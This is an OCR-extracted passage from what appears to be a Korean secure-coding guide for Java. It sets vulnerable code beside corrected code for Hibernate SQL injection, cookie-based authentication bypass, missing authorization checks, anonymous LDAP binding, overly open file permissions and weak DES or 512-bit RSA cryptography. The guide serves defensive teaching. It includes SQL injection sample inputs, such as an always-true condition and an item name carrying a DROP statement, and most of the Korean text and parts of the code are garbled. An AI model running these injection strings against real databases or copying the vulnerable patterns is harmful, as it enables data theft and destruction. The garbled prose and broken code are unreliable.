[3] Richard Stanway (r1CH). "Dynamic File Uploads, Security and You
[4] Johannes Ullrich. "8 Basic Rules to Implement Secure File Uploads". 2009-12-28
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25. SQL A% #34: Hibernate(SQL Injection: Hibernate)

7k A
s)we] AT 5 gl AL HAY P4 $9L ANA %I Hibernate APIS] SQL 3
B HHE AT BALE ASHY, FAA ZaU6s} dEs 2gd 2A49L
Aggoss AoBel ouE hFA/AY 1 FEE WAk elel Holejuol 2 o
Gol7h FAHES & % Utk

Y. A3 23719
w FojRo A A AF B

W QRS v

w AbgaTh 9)Re] Yol weh AR Sy ek

o
=
o BAE=E /‘3 A%t &, AT AAEE setParameter(), set

Lo

o} <A
ool dAE 9% Y (dValue)e obF HZ
AT WY, e YHOF n or =1 H ZE EALo]
o] AEe] ol o] BE P mEs} et

(from Address a where a.name="n" or '1'="1")

A

N

of Il AMgsia
dHHE, g 22 Aow

u
o
2

o o
(i
o
e

1T e

2:  public void listHoney()

3

4 Session session = new Configuration().configure().buildSessionFactory/().openSession();

5: try

6 {

7 Properties props = new Properties();

8 String fileName = "Hibernate.properties";

9 FileInputStream in = new FileInputStream(fileName);

10: props.load(in);

11 e

12: /] AFERE 4HE v

13: String idValue = props.getProperty("idLow");

14: [/ A 4=EE HEelo] SQL qeuery ] AAE ARg-RICE

15: Query query = session.createQuery("from Address a where aname=" +
idValue);

16: query list();

17: }

18: catch (IOException e) { }

19: e

20: |}

106 <« HM1E YUHGHO|E AE X ®
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Q% 9= (idValue)oll w2 QAL setParameter WAEE ARSI Aoz A
ojge] Tz} ukHE Ag WAL 5 Ak
B AT F=9] ¢ - JAVA
1T e
2: public void listHoney()
3
4 Session session = new Configuration().configure().buildSessionFactory/().openSession();
5: try
6 {
7 Properties props = new Properties();
8 String fileName = "Hibernate.properties";
9 FileInputStream in = new FileInputStream(fileName);
10: if (in == null || in.available() <= 0) return;
11: props.load(in);
12 e
13: // AFE FE 48 vtk
14: String idValue = props.getProperty("idLow");
15: // LEF U FadE AR
16: if (idValue == null || "".equals(idValue)) idValue = "defaultID";
17: // SQL query &4 A%tk
18: Query query = session.createSQLQuery("select h from Honey as h where hid ’=
:idVal”")y;
19: query.setParameter("idVal", idValue);
20: query list();
21: }
22: catch (IOException e) { }
03, e

I

959 AAE AHEAE A3 & itemel TS ARE Aoy o FHo=E FH
oJFES AT v itemnameS name’; DROP item; -2 FA W, o] HoFS 33
ZA3+= SELECT * FROM item WHERE owner="user name’ AND itemname = ’item
name’;¥} DROP item;®] F719 AE&ES T3 A9 st weps doj7e o=
9}= T 27, DBolA item Ho] & H K7} AAE .

public class Service extends HttpServlet

{
private final String COMMAND_PARAM = "command";

private final String GET_USER_INFO_CMD = "get_user_info";

private final String USER ID_PARM = "user_id";

1
2
3
4
5: // Command ## <]
6
7
8
9 private final String ITEM_NAME_PARM = "itemName";

M1 QHole A5 Y B »
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10:

11: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

12: {

13: String command = request.getParameter(COMMAND_PARAM);

14:

15: if (command.equals(GET_USER_INFO_CMD))

16: {

17: String userld = request.getParameter(USER_ID_PARM);

18: String itemName = request.getParameter(ITEM_NAME_PARM);

19:

20: Session session = new Configuration().configure().buildSessionFactory().openSession();

21:

22: String sql = "SELECT * FROM item WHERE item.owner = ""

23: + userld + " AND item.name = "

24: + itemName + "'";

25: Query query = seesion.createSQLQuery(sql);

26: List list = query.list();

27:

28: }

29:

30: }

31:

32: }

el dAlelAE SQL AelE A fRelA e e A AsaA e, A
GRS AN P Be BALL AAE ADHAT oA FOEH 9FA ofulP
G

B AT F=9] ¢ - JAVA

public class Service extends HttpServlet

{
private final String COMMAND_PARAM = "command";

private final String GET_USER_INFO_CMD = "get_user_info";

1:

2:

3:

4:

5: // Command #& %]

6:

7:

8: private final String USER_ID_PARM = "user_id";

9: private final String ITEM_NAME_PARM = "itemName";

10:

11: protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

12: {

13: String command = request.getParameter(COMMAND_PARAM);

14:

108 <« H1Z YHO0|f H#E A B
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15: if (command.equals(GET_USER_INFO_CMD))

16: {

17: String userld = request.getParameter(USER_ID_PARM);

18: String itemName = request.getParameter(ITEM_NAME_PARM);

19:

20: PersistenceManager manager = factory.getPersistenceManager();

21:

22: String sql = "SELECT * FROM item WHERE item.owner = :userld AND ite-

m.name = :itemName";

23: Query query = seesion.createSQLQuery(sql); =
24: query.setParameter("userId", userld); N
25: query.setParameter("itemName", itemName); 0z
26: List list = query.list();
27:
28: } -
29: u
30 ) 2
31: (l;JEJ
32: N
o
In

g F1 &3

[1] CWE-564 SQL Injection: Hibernate, http://cwe.mitre.org/data/definitions/564.html

)
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26. BIAAS AT 4 gle 48 #ol ¢E(Reliance on Untrusted

Inputs in a Security Decision)

7k A9
SEZEIPo] 9% Yl U UANE AAZ RENAUEE AESE A F
AhUREE AT & AT RRAAIRE ST ¢ A A AL 23
7], BHWF B FE =
.{[:

27
T =1 BA
F S Tl olHT dHBpES HAT  J 22E e FAEHA ¥

&

o o

S
P T
OH ro
_l} N
= o
rlr N
X
it .
2 2
Ry
N o
flo
N
N
o
£
olo
do
[l
fru
&
¥ o
lo

o
0,
tlo rn

oo oj i
L r-{g rr re

)
o
2
L)
ol
>
rlr
rO
it
vl

U dHE 29719
n A2Eo] FEj R} a7 FRE AWtk A7)
B F0% HRE FYOIAE Fo AR A, dustet 72448 AAE AR delHyt A
FEHEE 3t}
= EYPEI B AAE 2R APEE F3) BabeA oA o] Rl AH gt Al Z
Al AAAE P
o}, o A
HEoZ AgAle] ¢1=4 1R W authenticatedS F7)9 Zﬂ”‘]ﬂ Atk FAA= FY
£ W7 7hsstr] Wil 8% JRE T ARE we dasteis Axbsta, 7t

%75, A H = WAS(Web Application Server) A1H 2] Ao Z‘];( Ela=s

1. <%

2:  String username = request.getParameter("username");

3:  String password = request.getParameter("password");

4:  if (username==nill || password==null || lisAuthenticatedUser(usename, password))
5 |

6: throw new MyException("?15 °ll]");

7.}

8:  Cookie userCookie = new Cookie("user",username);

9:  Cookie authCookie = new Cookie("authenticated","1");
10:

11:  response.addCookie(userCookie);

12:  response.addCookie(authCookie);

13: %>
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AgArel QFHRE Aol AT,

W A 359 o - JSP

<%

String username = request.getParameter("username");
String password = request.getParameter("password");

1
2
3
4:  if (username==nill || password==null || lisAuthenticatedUser(usename, password))
5
6
7
8
9

throw new MyException("?15 ©ll21");

}
/] A8 ARE ANl Agah

HttpSession ses = new HttpSession(true);

Sl

10: ses.putValue("user",username);
11:  ses.putValue("authenticated","1");
12: %>

teol dadse T AR Aex ARE @Al Agx Are} vasle] g

A AFE £ ek

Slolc BEElY

1:  import java.io.lOException;

2:  import java.sql.Connection;

3:  import java.sql.Statement;

4:  import java.util.regex.Matcher;

5. import java.util.regex.Pattern;

6:

7:  import javax.servlet.ServletException;

8 import javax.servlet.annotation.WebServlet;

9:  import javax.servlet.http.HttpServlet;

10:  import javax.servlet.http.HttpServletRequest;
11:  import javax.servlet.http.HttpServletResponse;
12:  import javax.xml.soap.Node;

13:  import javax.xml.xpath.XPath;

14:  import javax.xml.xpath. XPathConstants;

15 import javax.xml.xpath. XPathExpression;

16:  import javax.xml.xpath.XPathFactory;

17:

18 /**

19:  * Servlet implementation class Sqllnjection
20.  */

21:

22:  public class UserlnfoPool extends HttpServlet
23 |

24: private final String GET_USER_INFO_CMD = "get_user_info";
25: private final String USER_ID_PARM = "user_id";

H1ZE YU=HOolE 45 H #Eel »» 111
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26:

50:
51:
52:
53:

private final String USER_TYPE = "user_type';

private final String ADMIN_USER = "admin_user";
private final String NORMAL_USER

I

"mormla_user";

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException
{
String command = request.getParameter("command");
if (command.equals(GET_USER_INFO_CMD))
{

response.getOutputStream(). print(userld);
response.getOutputStream(). print(userName);
response.getOutputStream(). print(userHomepage);

if (getCookie(USER_TYPE).equals(ADMIN_USER))
{

response.getOutputStream(). print(userAddress);
response.getOutputStream(). print(userPhoneNumber);

Aldel A8 ARgARe) /IS EeL dAjo] AHEA HHE Wt

B 3A% 3= o - ISP

D AR S~ S

_
=2

import java.io IOException;
import java.sql.Connection;
import java.sql.Statement;
import java.util.regex.Matcher;

import java.util.regex.Pattern;

import javax.servlet.ServletException;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
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12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:

24:
25:
26:
27:
28:
29:
30:

32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:

import javax.xml.soap.Node;

import javax.xml.xpath.XPath;

import javax.xml.xpath. XPathConstants;
import javax.xml.xpath. XPathExpression;
import javax.xml.xpath. XPathFactory;

/**
* Servlet implementation class Sqllnjection

*/

public class UserInfoPool extends HttpServlet

t
private final String GET_USER_INFO_CMD = "get_user_info'";
private final String USER ID_PARM = "user_id";
private final String USER_TYPE = "user_type";

private final String ADMIN_USER = "admin_user";
private final String NORMAL_USER = "normla_user";

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws

ServletException, IOException
{
String command = request.getParameter("command");
if (command.equals(GET_USER_INFO_CMD))

{

response.getOutputStream(). print(userld);
response.getOutputStream(). print(userName);
response.getOutputStream(). print(userHomepage);

if (((String)request.getSession().getAttribute(USER_TYPE)).equals(ADMIN_USER))

{

response.getOutputStream(). print(userAddress);
response.getOutputStream(). print(userPhoneNumber);
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[1] CWE-807 Reliance on Untrusted Inputs in a Security Decision,
http:/ /cwe.mitre.org/data/ definitions /807.html

[2] CWE-247 Reliance on DNS Lookups in a Security Decision,
http:/ /cwe.mitre.org/data/definitions/247.html

[3] CWE-302 Authentication Bypass by Assumed-Immutable Data,
http:/ /cwe.mitre.org/data/definitions/302.html

[4] CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision
http:/ /cwe.mitre.org/ data/ definitions/784.html

[5] 2011 SANS Top 25 - RANK 10 (CWE-807), http://cwe.mitre.org/top25/

)
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AANSE AAA Fa A olAlE sta Aok

public void sendBankAccount(String accountNumber,double balance)

1
2
3
4 BankAccount account = new BankAccount();
5: account.setAccountNumber(accountNumber);

6 account.setToPerson(toPerson);
7 account.setBalance(balance);
8
9

AccountManager.send(account);

ASE T2 ALgATe] g AJSE AA AF oA} HedtES P

B aAg 7=9 9 - JAVA
1:  public void sendBankAccount(HttpServletRequest request, HttpSession session, String

accountNumber,double balance)

/ / AJNSES 213 #FY stiS Tl AR credential & W=

String newUserName = request.getParameter("username");
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6 String newPassword = request.getParameter("password");
7 if ( newUserName == null || newPassword == null )
8: {

9: throw new MyEception("Hl°]E] 2.7);

10: }

11:

12: /] AR 2RE 2737 AH8A°] credential & 91T
13: String password = session.getValue("password");

14: String userName = session.getValue("username");

15:

16: /) ARNSE Tl olAlRE ATt

17: if ( isAuthenticatedUser() && newUserName.equal(userName) &&
18: newPassword.equal(password) )

19: {

20: BankAccount account = new BankAccount();

21: account.setAccountNumber(accountNumber);

22: account.setToPerson(toPerson);

23: account.setBalance(balance);

24: AccountManager.send(account);

25: }

26:

27}

theel dAE FAPR(AAL A% ARE AP Qo) I @
il

3]
Hlol&S x3sto] &g & =3E 5|83tk isStaffe] A3E F
QIgH & #pA o] Foi%]l 7995t getEmployeelnfo® %5 ARE 23|& F Uk

public class EmployeeManagement extends HttpServlet

{
private final String COMMAND_PARAM = "command";

// Command #& “g<]
private final String GET_EMPLOYEE_INFO = "get_employee_info";
: private final String USER_ID_PARM = "user_id";
10:  private final String PASSWORD_PARM = "password";
11:  private final String EMPLOYEE_ID_PRARM = "employee_id";

12:
13:  public EmployeeManagement()
14: |

15: ArrayList<String> salaryAccessibleUserTypes;
16: salary AccessibleTypes.add("AccountingStaff");

2
3
4
5. private final HashTable<String, ArrayList<String>> functionAccessibileUserTypes;
6
7
8
9
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17:
18:
19:
20:
21:

22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:

40:
41:
42:
43:
44:
45:
46:
47
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:

salaryAccessibleTypes.add("CEO");
functionAccessibilelds.put('getSalaray", salaryAccessibleTypes);

}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws

ServletException, IOException

{

String command = request.getParameter("command");

if (command.equals(GET_EMPLOYEE_INFO))

{
String userld = request.getParameter(USER_ID_PARM);
String password = request.getParameter(PASSWORD_PARM);
String employeeld = request.getParameter(EMPLOYEE_ID_PRARM);
if(isPasswordRight(userld, password) == false)
{

return false;

}

if (isStaff (userId) == false)
{

return false;

}

Employeelnfo info = getEmployeelnfo(employeeld, userld, password);

private void getEmployeelnfo(String employeeld)
{

int salary = getSalary(employeeld);

private int getSalary(String employeeld, String userld, String password)
{

if(isPasswordRight(userld, password) == false)

{

return -1;

}

String userType = getUserType(userld);
if(salary AccessibleUserTypes.get("getSalary").contains(userType) == false){

H2&E H2oty|s
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62: return -1;

65: return salary;
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(http:/ /owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/ esapi,/ AccessController.html)

M <143 I =9 4 - JAVA

1:  public void enforceAuthorization(Object key, Object runtimeParameter) throws
org.owasp.esapi.errors. AccessControl Exception

2. |

3: boolean isAuthorized = false;

4: try

5: {

6: AccessControlRule rule = (AccessControlRule)ruleMap.get(key);

7: if(rule == null)

8: {

9: throw new AccessControlException("AccessControlRule was not found
for key: " + key, ");

10: }

11: System.out.println("Enforcing Authorization Rule \"" + key + "\" Using class: "
+ rule.getClass().getCanonicalName());

12: isAuthorized = rule.isAuthorized(runtimeParameter);

13: }

14: catch(Exception e)

15: {

16: throw new AccessControlException("An unhandled Exception was " + "caught,
so we are recasting it as an " + "AccessControlException.", ", e);

17: }

18: if(lisAuthorized)

19: {

20: throw new AccessControlException("Access Denied for key: " + key + " runti-
meParameter: " + runtimeParameter, "");

21: }

22: '}
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[1] CWE-306 Missing Authentication for Critical Function,
http:/ /cwe.mitre.org/data/ definitions/306.html
[2] CWE-302 Authentication Bypass by Assumed-Immutable Data,
http:/ /cwe.mitre.org/data/definitions/302.html
[3] CWE-307 Improper Restriction of Excessive Authentication Attempts,
http:/ /cwe.mitre.org/data/definitions/307.html

[4] CWE-287 Improper Authentication, http://cwe.mitre.org/data/definitions/287 html
[5] 2011 SANS Top 25 - RANK 5 (CWE-306), http://cwe.mitre.org/top25/
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7k A9
SW7h mE bed Aadzel teld A2ACIE AASA gAY Bl A
E A, BAAE AT A® ABARE So A2l AuE 52T 5 Ak

ASMH 4 |
| Eemenatione SRR TR 1

|

AN OSHA T MHA S AIAE
I HIRAE QIEES S AHIA

N T
- kb

<19 211> FA-3 AVt

L HAR 2971
m FE&xg o] AFes R} VS AT uet MiEFormN FAA A
*E5H+e T4 R H(attack surface)S FAAZIT
AgALe] Agke] mE ACL(Access Control List)
% mS|3E AIBHA FHoES T % Uk of
OWASP ESAPI Access Control S0| 21& =Z2j|2l¢]

[}
o)
<

= =~

e gt}
M, JAAS Authorization FrameworkL}
2 ME Jtssith

gul
=
=

0
LU TR

[F 3

o} oA
teo = B o) 1<l name Fol FEZE obd S LDAP FoZolA A
Aoz ARgENOH, AR AFS AT R HIAol ol AEEA FUTh
(env.put(Context SECURITY_AUTHENTICATION, "none");). ©]Z-2 anonymous binding<
s&te Aoz & F vk webAd o) AR FRE RN HIE F A =

m{m

o

[e)

1:  public void f(String sSingleld, int iFlag, String sServiceProvider, String sUid, String sPwd)
2

3 env.put(Context INITIAL_CONTEXT_FACTORY, CommonMySingleConstINITCTX);

4: env.put(Context. PROVIDER_URL, sServiceProvider);

5 env.put(Context. SECURITY_AUTHENTICATION, "none");

6 env.put(Context. SECURITY_PRINCIPAL, sUid);

7 env.put(Context. SECURITY_CREDENTIALS, sPwd);
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public void f(String sSingleld, int iFlag, String sServiceProvider, String sUid, String sPwd)
{

env.put

=

Context.PROVIDER_URL, sServiceProvider);
Context.SECURITY_AUTHENTICATION, "simple");
Context.SECURITY_PRINCIPAL, sUid);
Context.SECURITY_CREDENTIALS, sPwd);

env.put

env.put

= = = =

env.put

Sl

g dAelAE QFo] 4FHoE BuW, ofd MAAE 23] Jlsith 5 Bl
WA JRE B 57} 3l

=
1. <% =
2:  String username = request.getParameter("username"); 2
3:  String password = request.getParameter("password"); (|)-JE_|
4:  if (username==nill || password==null || lisAuthenticatedUser(usename, password)) N
5 | §
6: throw new Exception('invalid username or password"); In
7.}
8:
9:  String msgld = request.getParameter("msgld");
10:  if ( msgld == null )
11 {
12: throw new MyException("Hl©]E] 27"
13: }
14:  Message msg = LookupMessageObject(msgld);
15:  if ( msg != null )
16: {
17: out.printIn("From: " + msg.getUserName()");
18: out.printIn("Subject: " + msg.getSubField()");
19: out.println("\n" + msg.getBodyField()");
20: }
21: %>

B 8 359 4 - Jsp
<%

String username = request.getParameter("username");

String password = request.getParameter("password");

if (username==nill || password==null || lisAuthenticatedUser(usename, password))
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5 |

6: throw new MyException("?15 °ll2]");

7.}

8:

9:  String msgld = request.getParameter("msgld");

10:  if ( msgld == null )

11: |

12: throw new MyException("t|°]E 2/");

13: }

14:  Message msg = LookupMessageObject(msgld);

15:

16:  if ( msg != null && username.equals(msg.getUserName()) )

17 {

18: out.printIn("From: " + msg.getUserName()");

19: out.printIn("Subject: " + msg.getSubField()");

20: out.printIn("\n" + msg.getBodyField()");

21}

22 else { throw new MyException("d%t ol|&]”); }

23 %>

o2 dAle S ZH Y990 OWASP ESAPI Access ControlS AR8-3FAL Qlth o]
ZHE JYrte key9 runtimeParameterE 7MA1 AF 7]E2l ruleMap e 53 UAF

A9 75 AFAE

(http:/ /owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/ esapi/ AccessController.html)

B aHg 7=9 o - JAVA

122 <« H|2HE

1:  public void enforceAuthorization(Object key, Object runtimeParameter) throws
org.owasp.esapi.errors. AccessControl Exception

2: |

3: boolean isAuthorized = false;

4: try

5: {

6: AccessControlRule rule = (AccessControlRule)ruleMap.get(key);

7: if(rule == null)

8: {

9: throw new AccessControlException("AccessControlRule was not found
for key: " + key, ");

10: }

11: System.out.println("Enforcing Authorization Rule \"" + key + "\" Using class: "
+ rule.getClass().getCanonicalName());

12: isAuthorized = rule.isAuthorized(runtimeParameter);

13: }

14: catch(Exception e)

15: {

HotJls




16: throw new AccessControlException("An unhandled Exception was " + '"caught,

"o

so we are recasting it as an " + "AccessControlException.", ", e);

17: }

18: if(tisAuthorized)

19: {

20: throw new AccessControlException("Access Denied for key: " + key + " runti-

meParameter: " + runtimeParameter, "");

Sl

o] o
BEnE 9y
HAA=A9] o
(http:/ /owasp-esapi-java.googlecode.com/svn/ trunk_doc/latest/org/owasp/esapi/ AccessController.htim)

AE 2dZ ZH Y2 OWASP ESAPI Access ControlS AHE3laL Uth. £
k. %

b2 key?l runtimeParameterE 7FA 1 1% 712l ruleMap S 3l <l

—
B oHAT Z=9 o - JAVA 42“
1:  public void enforceAuthorization(Object key, Object runtimeParameter) throws kU
org.owasp.esapi.errors. AccessControl Exception ol
2. | ﬁ
3: boolean isAuthorized = false; In
4: try
5: {
6: AccessControlRule rule = (AccessControlRule)ruleMap.get(key);
7: if(rule == null)
8: {
9: throw new AccessControlException("AccessControlRule was not found
for key: " + key, "");
10: }
11: System.out.println("Enforcing Authorization Rule \"" + key + "\" Using class: "
+ rule.getClass().getCanonicalName());
12: isAuthorized = rule.isAuthorized(runtimeParameter);
13: }
14: catch(Exception e)
15: {
16: throw new AccessControlException("An unhandled Exception was " + "caught,
so we are recasting it as an " + "AccessControlException.", ", e);
17: }
18: if('isAuthorized)
19: {
20: throw new AccessControlException("Access Denied for key: " + key + " runti-
meParameter: " + runtimeParameter, "");
21: }
22: )
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2 F1 3
[1] CWE-285 Improper Authorization, http://cwe.mitre.org/data/definitions/285.html
[2] CWE-219 Sensitive Data Under Web Root, http://cwe.mitre.org/data/definitions/219.html
[3] 2010 OWASP Top 10 - A8 Failure to Restrict URL Access
https:/ /www.owasp.org/index.php/Top_10_2010-A8
[4] NIST. "Role Based Access Control and Role Based Security"

[5] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 4, "Authorization" Page
114; Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition.
Microsoft. 2002
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3. 8% Ao tigt ZEE dIEA(Incorrect Permission Assignment

for Critical Resource)

7}

Re)
SW7I F83 Bt Ao st ¢7] e FAs] ddS =R ¢Al §7t
3 g, S 2HA] e ALEA) AL S ALSSHAl Hnh

. A7 ZP7IH

n A, AW, Folnele] S SW BelAel sl AT g1 2717} HssEs A

o YT Ro] BT AUL AL A9, A e 8L Fa Ao
A2 7PseA AA R,

umask = AHE3HAL 91O, BE *}%1}7} 0171/ 7] A%e ZHA Eo.

// L A3 rwarwarw-, HEE R B3 rwxawxarwx
String cmd = "umask 0";
File file = new File("/home/report/report.txt");

Runtime.getRuntime().exec(cmd);

Sl o 2YS P Aol BEF, F AGAE Aslstus 917/ 207} b

A ¥EE umaskE BA3H= Zlo] Fasith

B AT F=9] 4 - JAVA
// L2 B3 rw-——, HEE ] B3 rwx——
String cmd = "umask 77";
File file = new File("/home/report/report.txt");

Runtime.getRuntime().exec(cmd);

Bl elAlE HAAE AL ATke] thF AFelol ol Mg == Fejolth

private int load()

{

1

2

3:

4 FileReader reader = new FileReader("/etc/password/");
5

6

HM2&E Hot7|s »
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oo dAelX e 53 #Eslor & HAEY HE5ES protectedFiles 2]2Eo] &
23] =11, FileRSecureFileReadereader2S %34 adminAlF o2 HZT ot S
3R} EZE sttt HES EAGoF & F8 9Ud tsiAE A thak dAZ AALS
AR F A2E 3 galoF gk

B aAEE 7=9] 9 - JAVA

1:  class SecureFileReader extends FileReader
2. |

3:

4:  private ArrayList<String> protectedFiles;
5. private boolean locked;

6:

7:  SecureFileReader(String fileName, String userld, String password)
8: {

9: super(fileName);

10:

11: protectedFiles = new ArrayList<String>;
12: protectedFiles.add("/etc/password");

13: protectedFiles.add("/root/keys.cfg");

14:

15: locked = true;

16:

17: if(protectedFiles.contains(fileName)

18: {

19: if(isAdmin(userld) == true){

20: locked = false;

21: }

22: }

23: else

24: {

25: locked = false;

26: }

27 if(locked == false)

28: {

29: // Exception A8

300 )

31}

32: 1}

33 ...

34: private int load()

35 |

36:

37:  FileReader reader = new FileRSecureFileReadereader("/etc/password/");
38:

39: }
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[1] CWE-732 Incorrect Permission Assignment for Critical Resource,
http:/ /cwe.mitre.org/data/ definitions/732.html

[2] CWE-276 Incorrect Default Permissions, http://cwe mitre.org/data/definitions/276.html
[3] CWE-277 Insecure Inherited Permissions, http://cwe.mitre.org/data/definitions/277 html
[4] CWE-278 Insecure Preserved Inherited Permissions, http://cwe.mitre.org/data/definitions/278.html
[5] CWE-279 Incorrect Execution-Assigned Permissions, hitp:/ /cwe.mitre.org/data/definitions/279.html
[6] CWE-281 Improper Preservation of Permissions, http://cwe.mitre.org/data/definitions/281.html
[7] CWE-285 Improper Authorization, http://cwe.mitre.org/data/definitions/285.html
[8] 2011 SANS Top 25 - RANK 17 (CWE-732), http://cwe.mitre.org/top25/
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4. F okt ¢tssl daglF AR8{(Use of a Broken or Risky Cryptographic
Algorithm)

7}

SW MEAES 348 A el AZE A2 =E BEsly] gt ge 1=Ed &
TE olgete] HAEE UFE WHE AMBSVIE ok I%AT basetd ot 22 A
A Fst J1FY FFE A A HAYEE AU B 5 gl

ARRSE ZHoA FHoRstAY e d5st dugleS AMSIAE < "ok 253
A e LI FES St e TAAVE daEEs EAst FEsAE Sl
E 5L 52U 5 A 92 ogd d3zdneEY AeE AFEHY Aol dE
of wel F kA= A, dHele dlEst=d 2 4 dde] AEd daelFo] FHTel
t wZoly B At ol si5E7E ok RC2, RC4, RC5 RC6, MD4, MD5, SHAI,
DES ¢arg|Fo] 7] sfddnh

Symmetric key ( DES}

- ~
- %
’ "

plaintext

L
1

1
¥

/)

decrypt

plaintext
encrypt e

ciphertext

<9 212> F gk g5 S F AR

A==

= A, A g A o A
dth. 71E0] HoFsitia ¢l DES, RG559) dadieEs
dzdaeFo oA ste] AHgRITh =3,

g, ITRAKIF ALT-To] Qb2

o

ot pQ
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Kl
©
2

HEPS B2

112H E

ARIA(7] Zo] : 128/192/256),

E5%43%

SEED(7] 2°] : 128)
nzos 714 A ECD, CBC, CFB, OFB, CTR
TYEE 714 /9% CCM, GCM

& 1 g SHA-224/256/384/512
) A] 7] 3l <7 <71\ HMAC
ASIE= 2274l CMAC, GMAC
a3
HASH_DRBG, HMAC_DRBG
U=k A) 7] JHMAC 7%}
E57|4t CTR_DRBG
RSAES
- (B7] ZAol) 2048, 3072
2717 95 (&747) de)) _
- RSA-OAEPI A ARE-H = s+ -
SHA-224/256
AR RSA-PSS, KCDSA, ECDSA, EC-KCDSA
7] A4 w4 DH, ECDH
H5g B 5% gietvlE
RSA-PSS (FM7] Ael) 2048, 3072
37071 Ael, /7] Aol
A 2l KCDSA, DH (% - )
- (2048, 224), (2048, 256)
Ayl ] E
el E (FIPS) B-233, B-283
ECDSA, EC-KCDSA,
(FIPS) K-233, K-283
ECDH
(FIPS) P-224, P-256

& AS7|& Ver 2.0(2012.3), Y5 ZEAIS 7|2
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o} oA

5o FEE msgE F kg DES ¢8| ® dusista itk

Loy

2

3: Cipher ¢ = Cipher.getInstance("DES");
4: c.init(Cipher ENCRYPT_MODE, k);

5 rslt = c.update(msg);

o}

7. catch (InvalidKeyException e) {

ool IEAY QPHITT YR AES LTEL Agaled s Aol

=3

B 373 7=9] o - JAVA
8 try
9: {

10: Cipher ¢ = Cipher.getInstance("AES/CBC/PKCS5Padding");
11: c.init(Cipher ENCRYPT_MODE, k);

12: rslt = c.update(msg);

13}

14:  catch (InvalidKeyException e) {

el dlAlE mobgol 4% RSA YA FS ASPlE BT, 7] ol

Agomn Zzage] Hope opr1F Afelnt

15 e
16:  public void target() throws NoSuchAlgorithmException

17 |

18: KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
19: // Key generator®] #3583 7] A7)

20: keyGen.initialize(512);
21: KeyPair myKeys = keyGen.generateKeyPair();
22}

o stol] AHgSh= 719] Zol= Aolx 2048W|E oo AR

B 3R 7=9] 9 - JAVA
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2:  public void target() throws NoSuchAlgorithmException

3

4: KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
5: // Key generator®] #t2 4 2048bit= A3k

6 keyGen.initialize(2048);

7 KeyPair myKeys = keyGen.generateKeyPair();

8

2ol dAls dEshie P AR dEAAIl RSA + OAEP 2o = taste Fx=o]
t}. Cipher.getInstance®l] S°|7}= Aloll whe} hsstel] 29 daeglss 24T 5 3ok o
=9 eeAes 7 AEd 5410 OAEPEHS A3t generator.initialize(2048, random);
oA 7]2] HolE 2048RIER FH3] AA A Y-S AT & Atk

Sl

M 1A% 7= ¢ - JAVA

1:  import java.io.IOException; =
2:  import java.sql.Connection; g
3:  import java.sqlStatement; kU
4:  import java.util.regex.Matcher; ol
5. import java.util.regex.Pattern; ‘Z‘
6:  import javax.servlet.ServletException; In
7:  import javax.servletannotation.WebServlet;

8:  import javax.servlet.http.HttpServlet;

9:  import javax.servlethttp.HttpServletRequest;

10:  import javax.servlet.http.HttpServletResponse;

11:  import java.security. Key;

12:  import java.security. KeyPair;

13:  import java.security.KeyPairGenerator;

14:  import java.security.SecureRandomy

15:  import java.security.Security;

16:  import javax.crypto.Cipher;

17:

18 /**

19:  * Servlet implementation class Sqllnjection

20: ¥/

21:  public class Service extends HttpServlet

22: |

23: private final String COMMAND_PARAM = "command";

24:

25:  // Command ¥# %9

26:  private final String CHANGE_PASSWORD_CMD = "get_user_info'";

27 private final String USER_ID_PARM = "user_id";

28:  private final String PASSWORD_PARM = "password";

29:  private final String NEW_PASSWORD_PARM = "new_password";

30:

31:  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
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32:

34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:

53:
54:
55:
56:
57:

ServletException, IOException
{
String command = request.getParameter("command");
if (command.equals(CHANGE_PASSWORD_CMD))
{
String userld = request.getParameter(USER_ID_PARM);
String password = request.getParameter(PASSWORD_PARM);
String newPassword = request.getParameter(NEW_PASSWORD_PARM);

SecureRandom random = new SecureRandomy);

KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA");
generator.initialize(2048, random);

KeyPair pair = generator.generateKeyPair();

Key pubKey = pair.getPublic();

Key privKey = pair.getPrivate();

Cipher cipher = Cipher.getInstance("RSA/ECB/OAEP");
cipher.init(Cipher.ENCRYPT_MODE, pubKey, random);
byte[] cipherText = cipher.doFinal(newPassword.getBytes());

ChangeUserPassword(userld, String(cipherText));
}

2% 3 &4
[1] CWE-327 Use of a Broken or Risky Cryptographic Algorithm,
http:/ /cwe.mitre.org/data/definitions/327.html
[2] 2010 OWASP Top 10 - A7 Insecure Cryptographic Storage,
https:/ /www.owasp.org/index.php/Top_10_2010-A7
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5. AMSAL FRAR HE AN E= F9)(Missing Encryption of Sensitive Data)

7F A9
ZEagel Hek BAY UPY HolEHE BROE FAALL FHA £ T 4
%, BAAE 2UBS B3 WA g AR UUR delEt =58 e

Bk b olTh,

LLJ ID: admin pass: 1233

plaintext

¥ 3

AHS Xt & A

ID :admin

3ZXt
<9 213> AHEA TR FEAL =E AF)

AR ), o)

+87% 9=
% Few 4HE B AYE A5 =

o= "WlE Al ¢tE sl ste] A As)
5 33
o oA

1

&4 FdolA glo] &9 I E(Plain text)E WEH A
At o] Ae HZ 2YPE 53] password’l =EFE F Ao

void foo()

OW

1
2

3wy

